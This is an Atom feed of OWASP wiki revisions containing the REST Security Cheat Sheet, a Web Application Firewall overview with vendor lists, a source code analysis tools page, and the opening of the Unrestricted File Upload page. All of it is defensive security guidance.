		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=REST_Security_Cheat_Sheet&amp;diff=181707"/>
				<updated>2014-09-04T16:51:58Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Just some tidying, no information changes.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
[http://en.wikipedia.org/wiki/Representational_state_transfer REST] (or REpresentational State Transfer) is a means of expressing specific entities in a system by URL path elements. REST is not an architecture but it is an architectural style to build services on top of the Web. REST allows interaction with a web-based system via simplified URLs rather than complex request body or &amp;lt;tt&amp;gt;POST&amp;lt;/tt&amp;gt; parameters to request specific items from the system. This document serves as a guide (although not exhaustive) of best practices to help REST-based services.&lt;br /&gt;
&lt;br /&gt;
= Authentication and session management =&lt;br /&gt;
&lt;br /&gt;
RESTful web services should use session-based authentication, either by establishing a session token via a POST or by using an API key as a POST body argument or as a cookie. Usernames, passwords, session tokens, and API keys should not appear in the URL, as this can be captured in web server logs, which makes them intrinsically valuable.&lt;br /&gt;
&lt;br /&gt;
OK:&lt;br /&gt;
&lt;br /&gt;
* [https://example.com/resourceCollection/123/action https://example.com/resourceCollection/&amp;lt;id&amp;gt;/action]&lt;br /&gt;
* https://twitter.com/vanderaj/lists&lt;br /&gt;
&lt;br /&gt;
NOT OK:&lt;br /&gt;
&lt;br /&gt;
* [https://example.com/controller/123/action?apiKey=a53f435643de32 https://example.com/controller/&amp;lt;id&amp;gt;/action?apiKey=a53f435643de32] (API Key in URL)&lt;br /&gt;
* [http://example.com/controller/123/action?apiKey=a53f435643de32 http://example.com/controller/&amp;lt;id&amp;gt;/action?apiKey=a53f435643de32] (transaction not protected by TLS; API Key in URL)&lt;br /&gt;
&lt;br /&gt;
== Protect Session State ==&lt;br /&gt;
&lt;br /&gt;
Many web services are written to be as stateless as possible. This usually ends up with a state blob being sent as part of the transaction. &lt;br /&gt;
&lt;br /&gt;
* Consider using only the session token or API key to maintain client state in a server-side cache. This is directly equivalent to how normal web apps do it, and there's a reason why this is moderately safe. &lt;br /&gt;
* Anti-replay. Attackers will cut and paste a blob and become someone else.  Consider using a time limited encryption key, keyed against the session token or API key, date and time, and incoming IP address. In general, implement some protection of local client storage of the authentication token to mitigate replay attacks.&lt;br /&gt;
* Don't make it easy to decrypt; change the internal state to be much better than it should be.&lt;br /&gt;
&lt;br /&gt;
In short, even if you have a brochureware web site, don't put in &amp;lt;tt&amp;gt;https://example.com/users/2313/edit?isAdmin=false&amp;amp;debug=false&amp;amp;allowCSRPanel=false&amp;lt;/tt&amp;gt; as you will quickly end up with a lot of admins, and help desk helpers, and &amp;quot;developers&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Authorization =&lt;br /&gt;
&lt;br /&gt;
== Anti-farming ==&lt;br /&gt;
&lt;br /&gt;
Many RESTful web services are put up, and then farmed, such as a price matching website or aggregation service. There's no technical method of preventing this use, so strongly consider means to encourage it as a business model by making high velocity farming is possible for a fee, or contractually limiting service using terms and conditions. CAPTCHAs and similar methods can help reduce simpler adversaries, but not well funded or technically competent adversaries. Using mutually assured client side TLS certificates may be a method of limiting access to trusted organizations, but this is by no means certain, particularly if certificates are posted deliberately or by accident to the Internet. &lt;br /&gt;
&lt;br /&gt;
== Protect HTTP methods ==&lt;br /&gt;
&lt;br /&gt;
RESTful API often use GET (read), POST (create), PUT (replace/update) and DELETE (to delete a record). Not all of these are valid choices for every single resource collection, user, or action. Make sure the incoming HTTP method is valid for the session token/API key and associated resource collection, action, and record. For example, if you have an RESTful API for a library, it's not okay to allow anonymous users to DELETE book catalog entries, but it's fine for them to GET a book catalog entry. On the other hand, for the librarian, both of these are valid uses.&lt;br /&gt;
&lt;br /&gt;
== Whitelist allowable methods ==&lt;br /&gt;
&lt;br /&gt;
It is common with RESTful services to allow multiple methods for a given URL for different operations on that entity. For example, a &amp;lt;tt&amp;gt;GET&amp;lt;/tt&amp;gt; request might read the entity while &amp;lt;tt&amp;gt;PUT&amp;lt;/tt&amp;gt; would update an existing entity, &amp;lt;tt&amp;gt;POST&amp;lt;/tt&amp;gt; would create a new entity, and &amp;lt;tt&amp;gt;DELETE&amp;lt;/tt&amp;gt; would delete an existing entity. It is important for the service to properly restrict the allowable verbs such that only the allowed verbs would work, while all others would return a proper response code (for example, a &amp;lt;tt&amp;gt;403 Forbidden&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
In Java EE in particular, this can be difficult to implement properly. See [https://www.aspectsecurity.com/wp-content/plugins/download-monitor/download.php?id=18 Bypassing Web Authentication and Authorization with HTTP Verb Tampering] for an explanation of this common misconfiguration.&lt;br /&gt;
&lt;br /&gt;
== Protect privileged actions and sensitive resource collections ==&lt;br /&gt;
&lt;br /&gt;
Not every user has a right to every web service. This is vital, as you don't want administrative web services to be misused:&lt;br /&gt;
&lt;br /&gt;
* https://example.com/admin/exportAllData&lt;br /&gt;
&lt;br /&gt;
The session token or API key should be sent along as a cookie or body parameter to ensure that privileged collections or actions are properly protected from unauthorized use.&lt;br /&gt;
&lt;br /&gt;
== Protect against cross-site request forgery ==&lt;br /&gt;
&lt;br /&gt;
For resources exposed by RESTful web services, it's important to make sure any PUT, POST, and DELETE request is protected from Cross Site Request Forgery. Typically one would use a token-based approach. See [[Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet]] for more information on how to implement CSRF-protection.&lt;br /&gt;
&lt;br /&gt;
CSRF is easily achieved even using random tokens if any XSS exists within your application, so please make sure you understand [[XSS (Cross Site Scripting) Prevention Cheat Sheet|how to prevent XSS]].&lt;br /&gt;
&lt;br /&gt;
== Insecure firect object references ==&lt;br /&gt;
&lt;br /&gt;
It may seem obvious, but if you had a bank account REST web service, you'd have to make sure there is adequate checking of primary and foreign keys:&lt;br /&gt;
&lt;br /&gt;
* https://example.com/account/325365436/transfer?amount=$100.00&amp;amp;toAccount=473846376&lt;br /&gt;
&lt;br /&gt;
In this case, it would be possible to transfer money from any account to any other account, which is clearly absurd. Not even a random token makes this safe.&lt;br /&gt;
&lt;br /&gt;
* https://example.com/invoice/2362365&lt;br /&gt;
&lt;br /&gt;
In this case, it would be possible to get a copy of all invoices. &lt;br /&gt;
&lt;br /&gt;
Please make sure you understand how to protect against [[Top_10_2010-A4-Insecure_Direct_Object_References|insecure direct object references]] in the OWASP Top 10 2010.&lt;br /&gt;
&lt;br /&gt;
= Input validation =&lt;br /&gt;
&lt;br /&gt;
== Input validation 101 ==&lt;br /&gt;
&lt;br /&gt;
Everything you know about input validation applies to RESTful web services, but add 10% because automated tools can easily fuzz your interfaces for hours on end at high velocity. So:&lt;br /&gt;
&lt;br /&gt;
* Assist the user &amp;gt; Reject input &amp;gt; Sanitize (filtering) &amp;gt; No input validation&lt;br /&gt;
&lt;br /&gt;
Assisting the user makes the most sense, as the most common scenario is &amp;quot;problem exists between keyboard and computer&amp;quot; (PEBKAC). Help the user input high quality data into your web services, such as ensuring a Zip code makes sense for the supplied address, or the date makes sense. If not, reject that input. If they continue on, or it's a text field or some other difficult to validate field, input sanitization is a losing proposition but still better than XSS or SQL injection. If you're already reduced to  sanitization or no input validation, make sure output encoding is very strong for your application. &lt;br /&gt;
&lt;br /&gt;
Log input validation failures, particularly if you assume that client-side code you wrote is going to call your web services. The reality is that anyone can call your web services, so assume that someone who is performing hundreds of failed input validations per second is up to no good. Also consider rate limiting the API to a certain number of requests per hour or day to prevent abuse. &lt;br /&gt;
&lt;br /&gt;
== Secure parsing ==&lt;br /&gt;
&lt;br /&gt;
Use a secure parser for parsing the incoming messages. If you are using XML, make sure to use a parser that is not vulnerable to [https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing XXE attacks]. &lt;br /&gt;
&lt;br /&gt;
== Strong typing ==&lt;br /&gt;
&lt;br /&gt;
It's difficult to perform most attacks if the only allowed values are true or false, or a number, or one of a small number of acceptable values. Strongly type incoming data as quickly as possible. &lt;br /&gt;
&lt;br /&gt;
== Validate incoming content-types ==&lt;br /&gt;
&lt;br /&gt;
When POSTing or PUTting new data, the client will specify the Content-Type (e.g. &amp;lt;tt&amp;gt;application/xml&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;application/json&amp;lt;/tt&amp;gt;) of the incoming data. The client should never assume the Content-Type; it should always check that the Content-Type header and the content are the same type. A lack of Content-Type header or an unexpected Content-Type header should result in the server rejecting the content with a &amp;lt;tt&amp;gt;406 Not Acceptable&amp;lt;/tt&amp;gt; response.&lt;br /&gt;
&lt;br /&gt;
== Validate response types ==&lt;br /&gt;
&lt;br /&gt;
It is common for REST services to allow multiple response types (e.g. &amp;lt;tt&amp;gt;application/xml&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;application/json&amp;lt;/tt&amp;gt;, and the client specifies the preferred order of response types by the &amp;lt;tt&amp;gt;Accept&amp;lt;/tt&amp;gt; header in the request. '''Do NOT''' simply copy the &amp;lt;tt&amp;gt;Accept&amp;lt;/tt&amp;gt; header to the &amp;lt;tt&amp;gt;Content-type&amp;lt;/tt&amp;gt; header of the response. Reject the request (ideally with a &amp;lt;tt&amp;gt;406 Not Acceptable&amp;lt;/tt&amp;gt; response) if the &amp;lt;tt&amp;gt;Accept&amp;lt;/tt&amp;gt; header does not specifically contain one of the allowable types.&lt;br /&gt;
&lt;br /&gt;
Because there are many MIME types for the typical response types, it's important to document for clients specifically which MIME types should be used.&lt;br /&gt;
&lt;br /&gt;
== XML input validation == &lt;br /&gt;
&lt;br /&gt;
XML-based services must ensure that they are protected against common XML based attacks by using secure XML-parsing. This typically means protecting against XML External Entity attacks, XML-signature wrapping etc. See  [http://ws-attacks.org http://ws-attacks.org] for examples of such attacks.&lt;br /&gt;
&lt;br /&gt;
= Output encoding =&lt;br /&gt;
&lt;br /&gt;
== Send security headers ==&lt;br /&gt;
&lt;br /&gt;
To make sure the content of a given resources is interpreted correctly by the browser, the server should always send the Content-Type header with the correct Content-Type, and preferably the Content-Type header should include a charset. The server should also send an &amp;lt;tt&amp;gt;X-Content-Type-Options: nosniff&amp;lt;/tt&amp;gt; to make sure the browser does not try to detect a different Content-Type than what is actually sent (can lead to XSS).&lt;br /&gt;
&lt;br /&gt;
Additionally the client should send an &amp;lt;tt&amp;gt;X-Frame-Options: deny&amp;lt;/tt&amp;gt; to protect against drag'n drop clickjacking attacks in older browsers.&lt;br /&gt;
&lt;br /&gt;
== JSON encoding ==&lt;br /&gt;
&lt;br /&gt;
A key concern with JSON encoders is preventing arbitrary JavaScript remote code execution within the browser... or, if you're using node.js, on the server. It's vital that you use a proper JSON serializer to encode user-supplied data properly to prevent the execution of user-supplied input on the browser.&lt;br /&gt;
&lt;br /&gt;
When inserting values into the browser DOM, strongly consider using &amp;lt;tt&amp;gt;.value&amp;lt;/tt&amp;gt;/&amp;lt;tt&amp;gt;.innerText&amp;lt;/tt&amp;gt;/&amp;lt;tt&amp;gt;.textContent&amp;lt;/tt&amp;gt; rather than &amp;lt;tt&amp;gt;.innerHTML&amp;lt;/tt&amp;gt; updates, as this protects against simple DOM XSS attacks. &lt;br /&gt;
&lt;br /&gt;
== XML encoding ==&lt;br /&gt;
&lt;br /&gt;
XML should never be built by string concatenation. It should always be constructed using an XML serializer. This ensures that the XML content sent to the browser is parseable and does not contain XML injection. For more information, please see the [[Web Service Security Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Cryptography =&lt;br /&gt;
&lt;br /&gt;
== Data in transit ==&lt;br /&gt;
&lt;br /&gt;
Unless the public information is completely read-only, the use of TLS should be mandated, particularly where credentials, updates, deletions, and any value transactions are performed. The overhead of TLS is negligible on modern hardware, with a minor latency increase that is more than compensated by safety for the end user.&lt;br /&gt;
&lt;br /&gt;
Consider the use of mutually authenticated client-side certificates to provide additional protection for highly privileged web services.&lt;br /&gt;
&lt;br /&gt;
== Data in storage ==&lt;br /&gt;
&lt;br /&gt;
Leading practices are recommended as per any web application when it comes to correctly handling stored sensitive or regulated data. For more information, please see [[Top 10 2010-A7|OWASP Top 10 2010 - A7 Insecure Cryptographic Storage]].&lt;br /&gt;
&lt;br /&gt;
= Related articles =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= Authors and primary editors  =&lt;br /&gt;
&lt;br /&gt;
Erlend Oftedal - erlend.oftedal@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew van der Stock - vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:300px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Other cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Web_Application_Firewall&amp;diff=176416</id>
		<title>Web Application Firewall</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Web_Application_Firewall&amp;diff=176416"/>
				<updated>2014-06-04T16:03:20Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Tidying.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Countermeasure}}&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as [[Cross-site Scripting (XSS)|cross-site scripting (XSS)]] and [[SQL Injection|SQL injection]]. By customizing the rules to your application, many attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.&lt;br /&gt;
&lt;br /&gt;
A far more detailed description is available at [http://en.wikipedia.org/wiki/Application_firewall Wikipedia].&lt;br /&gt;
&lt;br /&gt;
==Important selection criteria==&lt;br /&gt;
&lt;br /&gt;
* Protection against OWASP top ten&lt;br /&gt;
* Very few false positives (i.e., should NEVER disallow an authorized request)&lt;br /&gt;
* Strength of default (out-of-the-box) defenses&lt;br /&gt;
* Power and ease of learn mode&lt;br /&gt;
* Types of vulnerabilities it can prevent&lt;br /&gt;
* Detects disclosure and unauthorized content in outbound reply messages, such as credit-card and Social Security numbers&lt;br /&gt;
* Both positive and negative security model support&lt;br /&gt;
* Simplified and intuitive user interface&lt;br /&gt;
* Cluster mode support&lt;br /&gt;
* High performance (milliseconds latency)&lt;br /&gt;
* Complete alerting, forensics, reporting capabilities&lt;br /&gt;
* Web services\XML support&lt;br /&gt;
* Brute force protection&lt;br /&gt;
* Ability to active (block and log), passive (log only) and bypass the web traffic&lt;br /&gt;
* Ability to keep individual users constrained to exactly what they have seen in the current session&lt;br /&gt;
* Ability to be configured to prevent ANY specific problem (e.g., emergency patches)&lt;br /&gt;
* Form factor: software vs. hardware (hardware generally preferred)&lt;br /&gt;
&lt;br /&gt;
You may also use [https://www.owasp.org/index.php/Category:OWASP_Best_Practices:_Use_of_Web_Application_Firewalls OWASP Best Practices: Use of Web Application Firewalls] to find out where and when to use a WAF. You may also find the [http://www.webappsec.org/projects/wafec/ Web Application Firewall Evaluation Criteria] useful for evaluating the performance and other characteristics of a WAF.&lt;br /&gt;
&lt;br /&gt;
The [[London Chapter WAF event]] held in 2006 has some comparative info amongst the WAF vendors that participated in the event.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
===OWASP tools of this type===&lt;br /&gt;
&lt;br /&gt;
* The [http://www.owasp.org/index.php/Category:OWASP_Stinger_Project OWASP Stinger Project] is not a full blown WAF, but it is a strong Java/J2EE input validation filter that can be put in front of your application.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_NAXSI_Project NAXSI] is a WAF for NGINX.&lt;br /&gt;
&lt;br /&gt;
===Well-known open source tools of this type===&lt;br /&gt;
&lt;br /&gt;
* [http://www.aqtronix.com/?PageID=99 AQTronix - WebKnight]&lt;br /&gt;
* [http://www.modsecurity.org/ Trustwave SpiderLabs - ModSecurity] &lt;br /&gt;
* [https://www.ironbee.com/ Qualys - Ironbee] (A recent new project by Qualys led by Ivan Ristic, the original ModSecurity author)&lt;br /&gt;
* [https://github.com/jaydipdave/quickdefencewaf QuickDefence-WAF] (Nginx and Lua based first open source WAF, still in pre-alpha stage)&lt;br /&gt;
&lt;br /&gt;
===Commercial tools from OWASP members of this type===&lt;br /&gt;
&lt;br /&gt;
These vendors have decided to support OWASP by becoming [[Membership|members]]. OWASP appreciates the support from these organizations, but cannot endorse any commercial products or services.&lt;br /&gt;
&lt;br /&gt;
* [http://www.artofdefence.com/en/products/hyperguard.html art of defence - hyperguard]&lt;br /&gt;
* [https://www.trustwave.com/web-application-firewall/  Trustwave - WebDefend Web Application Firewall]&lt;br /&gt;
* [http://fortifysoftware.com/products/defender/ Fortify Software - Defender]&lt;br /&gt;
* [http://www.imperva.com/products/securesphere/web_application_firewall.html Imperva - SecureSphere™]&lt;br /&gt;
* [http://www.pentasecurity.com/english/product/webWppleIntro.do Penta Security - WAPPLES]&lt;br /&gt;
* [http://www.bayshorenetworks.com/ Bayshore Networks - Application Protection Platform]&lt;br /&gt;
&lt;br /&gt;
===Other well-known commercial tools of this type===&lt;br /&gt;
&lt;br /&gt;
* [http://www.akamai.com/html/solutions/waf.html Akamai Technologies - Web Application Firewall (WAF)]&lt;br /&gt;
* [http://www.denyall.com/ DenyAll - Web Application Firewall (WAF)]&lt;br /&gt;
* [http://www.applicure.com Applicure - DotDefender]&lt;br /&gt;
* [http://www.port80software.com/products/serverdefendervp/ Port80 Software - ServerDefender VP]&lt;br /&gt;
* [http://www.radware.com/Solutions/Enterprise/Security/WebApplicationFirewall.aspx Radware AppWall]&lt;br /&gt;
* [http://www.armorlogic.com/ Armorlogic - Profense]&lt;br /&gt;
* [http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php Barracuda Networks - Application Firewall]&lt;br /&gt;
* [http://www.bee-ware.net/en/products/i-suite-platform Bee Ware – i-Suite]&lt;br /&gt;
* [http://binarysec.com/ BinarySec - Application Firewall] &lt;br /&gt;
* [http://www.bugsec.com/index.php?q=WebSniper BugSec - WebSniper]&lt;br /&gt;
* [http://www.cisco.com/en/US/products/ps9586/index.html Cisco - ACE Web Application Firewall]&lt;br /&gt;
* [http://www.citrix.com/English/ps2/products/product.asp?contentID=25636 Citrix - Application Firewall]&lt;br /&gt;
* [http://www.eeye.com/html/products/secureiis/index.html eEye Digital Security - SecureIIS]&lt;br /&gt;
* [http://www.f5.com/products/big-ip/product-modules/application-security-manager.html F5 - Application Security Manager]&lt;br /&gt;
* [http://forumsys.com/ Forum Systems - Xwall, Sentry]&lt;br /&gt;
* [http://www.webscurity.com/products.htm mWEbscurity - webApp.secure]&lt;br /&gt;
* [http://www.ergon.ch/en/airlock/ Ergon - Airlock]&lt;br /&gt;
* [http://www.privacyware.com/intrusion_prevention.html Privacyware - ThreatSentry IIS Web Application Firewall]&lt;br /&gt;
* [http://www.protegrity.com/WebApplicationFirewall Protegrity - Defiance TMS  - Web Application Firewall]&lt;br /&gt;
* [http://www.xtradyne.com/ Xtradyne - Application Firewalls]&lt;br /&gt;
&lt;br /&gt;
[[Category: Control]]&lt;br /&gt;
[[Category: OWASP WAF]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Template:Countermeasure&amp;diff=176415</id>
		<title>Template:Countermeasure</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Template:Countermeasure&amp;diff=176415"/>
				<updated>2014-06-04T15:58:21Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;includeonly&amp;gt;''This is a countermeasure. To view all countermeasures, please see the [[:Category:Countermeasure|Countermeasure Category]] page.''&lt;br /&gt;
&lt;br /&gt;
[[Category:Countermeasure]]&amp;lt;/includeonly&amp;gt;&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Source_Code_Analysis_Tools&amp;diff=174553</id>
		<title>Source Code Analysis Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Source_Code_Analysis_Tools&amp;diff=174553"/>
				<updated>2014-05-08T18:56:56Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Tidying&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Source code analysis tools are designed to analyze source code and/or compiled version of code in order to help find security flaws. Ideally, such tools would automatically find security flaws with such a high degree of confidence that what's found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that just automatically finds flaws.&lt;br /&gt;
&lt;br /&gt;
Some tools are starting to move into the IDE. For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development life cycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful, especially when compared to finding vulnerabilities much later in the development cycle.&lt;br /&gt;
&lt;br /&gt;
== Strengths and weaknesses ==&lt;br /&gt;
&lt;br /&gt;
=== Strengths ===&lt;br /&gt;
&lt;br /&gt;
* Scales well -- can be run on lots of software, and can be repeatedly (as with nightly builds)&lt;br /&gt;
* Useful for things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, and so forth&lt;br /&gt;
* Output is good for developers -- highlights the precise source files and line numbers that are affected&lt;br /&gt;
&lt;br /&gt;
=== Weaknesses ===&lt;br /&gt;
&lt;br /&gt;
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.&lt;br /&gt;
* High numbers of false positives.&lt;br /&gt;
* Frequently can't find configuration issues, since they are not represented in the code.&lt;br /&gt;
* Difficult to 'prove' that an identified security issue is an actual vulnerability.&lt;br /&gt;
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.&lt;br /&gt;
&lt;br /&gt;
==Important selection criteria==&lt;br /&gt;
&lt;br /&gt;
* Requirement: Must support your language, but not usually a key factor once it does.&lt;br /&gt;
* Types of vulnerabilities it can detect (out of the [[OWASP Top Ten]]?) (plus more?)&lt;br /&gt;
* Does it require a fully buildable set of source?&lt;br /&gt;
* Can it run against binaries instead of source?&lt;br /&gt;
* Can it be integrated into the developer's IDE?&lt;br /&gt;
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)&lt;br /&gt;
&lt;br /&gt;
==OWASP Tools Of This Type==&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]&lt;br /&gt;
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]]&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
&lt;br /&gt;
==Disclaimer==&lt;br /&gt;
&lt;br /&gt;
Disclaimer: The tools listed in the tables below are presented in alphabetical order. OWASP does not endorse any of the vendors or tools by listing them in the table below. We have made every effort to provide this information as accurately as possible. If you are the vendor of a tool below and think that this information is incomplete or incorrect, please send an e-mail to our mailing list and we will make every effort to correct this information.&lt;br /&gt;
&lt;br /&gt;
==Open Source or Free Tools Of This Type==&lt;br /&gt;
&lt;br /&gt;
* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] - Utilizes Google Code Search to identifies vulnerabilities in open source code projects hosted by Google Code, MS CodePlex, SourceForge, Github, and more. The tool comes with over 130 default searches that identify SQL injection, cross-site scripting (XSS), insecure remote and local file includes, hard-coded passwords, and much more.  ''Essentially, Google CodeSearchDiggity provides a source code security analysis of nearly every single open source code project in existence – simultaneously.'' &lt;br /&gt;
* [http://findbugs.sourceforge.net/ FindBugs] - Find Bugs (including some security flaws) in Java Programs&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/library/bb429476(VS.80).aspx FxCop] (Microsoft) - FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.&lt;br /&gt;
* [http://pmd.sourceforge.net/ PMD] - PMD scans Java source code and looks for potential code problems (this is a code quality tool that does not focus on security issues)&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx PreFast] (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++ programs&lt;br /&gt;
* [https://www.fortify.com/ssa-elements/threat-intelligence/rats.html RATS] (Fortify) - Scans C, C++, Perl, PHP and Python source code for security problems like buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_SWAAT_Project OWASP SWAAT Project] - Simplistic Beta Tool - Languages: Java, JSP, ASP .Net, and PHP&lt;br /&gt;
* [http://www.dwheeler.com/flawfinder/ Flawfinder] Flawfinder - Scans C and C++&lt;br /&gt;
* [http://sourceforge.net/projects/rips-scanner/ RIPS] - RIPS is a static source code analyzer for vulnerabilities in PHP web applications&lt;br /&gt;
* [http://brakemanscanner.org/ Brakeman] - Brakeman is an open source vulnerability scanner specifically designed for Ruby on Rails applications&lt;br /&gt;
* [http://rubygems.org/gems/codesake-dawn Codesake Dawn] - Codesake Dawn is an open source security source code analyzer designed for Sinatra, Padrino and Ruby on Rails applications. It can work also for non web application wrote in Ruby programming language &lt;br /&gt;
* [http://sourceforge.net/projects/visualcodegrepp/ VCG] - Scans C/C++, Java, C# and PL/SQL for security issues and for comments which may indicate defective code. The config files can be used to carry out additional checks for banned functions or functions which commonly cause security issues.&lt;br /&gt;
&lt;br /&gt;
==Commercial Tools Of This Type==&lt;br /&gt;
&lt;br /&gt;
* [http://www.contrastsecurity.com/ Contrast from Contrast Security]&lt;br /&gt;
** Contrast is not a static analysis tool like these others. It instruments the running application and provides code level results, but doesn't actually perform static analysis. It monitors the code that is actually running.&lt;br /&gt;
* [http://www-01.ibm.com/software/rational/products/appscan/source/ IBM Security AppScan Source Edition] (formerly Ounce)&lt;br /&gt;
* [http://www.klocwork.com/products/insight.asp Insight] (KlocWork)&lt;br /&gt;
* [http://www.parasoft.com/jsp/capabilities/static_analysis.jsp?itemId=547 Parasoft Test] (Parasoft)&lt;br /&gt;
* [http://www.quotium.com/prod/security.php Seeker] ([http://www.quotium.com/ Quotium])&lt;br /&gt;
** Seeker performs code security without actually doing static analysis. Seeker does Interactive Application Security Testing (IAST), correlating runtime code &amp;amp; data analysis with simulated attacks. It provides code level results without actually relying on static analysis.&lt;br /&gt;
* [http://www.sourcepatrol.co.uk/ Source Patrol] (Pentest)&lt;br /&gt;
* [http://www.armorize.com/codesecure/ Static Source Code Analysis with CodeSecure™] (Armorize Technologies)&lt;br /&gt;
* [http://www.checkmarx.com/technology/static-code-analysis-sca/ Static Code Analysis] (Checkmarx)&lt;br /&gt;
* [http://www.coverity.com/products/security-advisor.html Security Advisor] (Coverity)&lt;br /&gt;
* [https://www.fortify.com/products/hpfssc/source-code-analyzer.html Source Code Analysis] (HP/Fortify)&lt;br /&gt;
* [http://www.veracode.com/ Veracode] (Veracode)&lt;br /&gt;
&lt;br /&gt;
==More info==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- * TODO: add comments from: http://lists.owasp.org/pipermail/owasp-dotnet/2006-August/000002.html --&amp;gt;&lt;br /&gt;
* [[Appendix_A:_Testing_Tools | Appendix A: Testing Tools]]&lt;br /&gt;
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers NIST's list of Source Code Security Analysis Tools]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Unrestricted_File_Upload&amp;diff=167299</id>
		<title>Unrestricted File Upload</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Unrestricted_File_Upload&amp;diff=167299"/>
				<updated>2014-02-04T15:53:14Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}} &lt;br /&gt;
&lt;br /&gt;
Author(s): &lt;br /&gt;
*[[User:Soroush Dalili|Soroush Dalili]]&lt;br /&gt;
*[[User:Dirk Wetter|Dirk Wetter]]&lt;br /&gt;
*[[User:OWASP|OWASP]]&lt;br /&gt;
&lt;br /&gt;
